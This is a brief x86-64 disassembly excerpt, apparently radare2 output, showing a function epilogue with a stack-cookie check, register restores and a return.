mov rcx, qword [rbp + 0x218]
xor rcx, rsp
call fcn.140233900
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret